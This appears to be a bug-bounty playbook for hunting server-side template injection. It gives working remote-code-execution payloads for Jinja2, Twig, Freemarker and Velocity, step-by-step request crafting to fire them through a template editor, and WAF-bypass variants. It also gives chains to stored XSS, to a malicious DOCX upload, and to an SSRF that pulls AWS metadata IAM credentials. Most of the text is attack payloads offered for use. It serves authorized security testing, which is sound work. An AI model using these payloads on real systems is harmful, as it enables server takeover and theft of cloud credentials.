hunt-ssti

{{7*7}}→49

<input value="{{7*7}}">

1. Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):

   {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

2. If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:

   Content-Type: application/x-www-form-urlencoded
   field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}

   JSON bodies are silently ignored by form-processing endpoints (

   request.form['field']

   sees nothing).
3. If Jinja2 fails, try Twig (PHP/Symfony):

   {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

4. Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.

uid=N(user) gid=...

<div>

<pre>

Easy to detect, high payout ($2K–$8K). Direct path to RCE.

1. Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the whole matrix and read which one evaluates:

   ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
   {{7*7}} → 49                      ⇒ Jinja2 / Twig
   <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
   *{7*7}  → 49                      ⇒ Thymeleaf (Spring)

   If

   {{7*7}}

   renders literally but

   ${7*7}

   →49, you are on Freemarker — stop sending

   {{config...}}

   .
2. The record id is usually a QUERY param, not a body field. The editor form posts back to

   POST /…/template?productId=N

   with the id in the URL. The BODY carries only

   csrf

   ,

   template

   , and a

   template-action

   (

   preview

   |

   save

   ). Putting the id in the body returns

   400 "Missing product id"

   . So keep the id in the query string (

   ?productId=N

   ) AND send a form-encoded body of

   csrf=…&template=<PAYLOAD>&template-action=preview

   .
3. Re-fetch the CSRF each time and use

   preview

   to iterate. GET the editor page to read a fresh

   csrf

   hidden field;

   template-action=preview

   renders your payload WITHOUT persisting (fast feedback loop). Switch to

   template-action=save

   only once the payload is right, then trigger the render (load the public page that uses the template) to fire the command.
   Freemarker documentation RCE (the documented

   Execute

   utility — this IS the intended technique):

   <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

   Velocity equivalent:

   #set($e="e");$e.getClass().forName("java.lang.Runtime")...

   .

• hunt-rce

  — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2

  {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

  or Freemarker

  <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

  → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.

• hunt-xss

  — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same

  {{7*7}}

  reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject

  <script>

  into rendered email template → stored XSS hitting every recipient who views the message.

• hunt-ssrf

  — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig

  {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}

  or Jinja2 with

  url_for

  /custom filters → AWS metadata exfil → cloud creds.

• hunt-file-upload

  — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose

  word/document.xml

  contains

  ${T(java.lang.Runtime).getRuntime().exec("id")}

  to a Velocity/Freemarker-driven mail-merge → RCE.

• security-arsenal

  — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (

  __subclasses__()[N]

  index hunting), Twig

  _self.env

  registerUndefinedFilterCallback, Freemarker

  ?new()

  Execute, ERB backticks, Velocity

  $class.inspect

  , Smarty

  {php}...{/php}

  , plus the WAF-bypass variants (

  {{request|attr('application')|...}}

  , Unicode escapes,

  {%print(...)%}

  ).

• triage-validation

  — Apply the Pre-Severity Gate before claiming Critical RCE. A

  {{7*7}} → 49

  reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove

  id

  /OOB DNS callback with a unique marker before writing the report.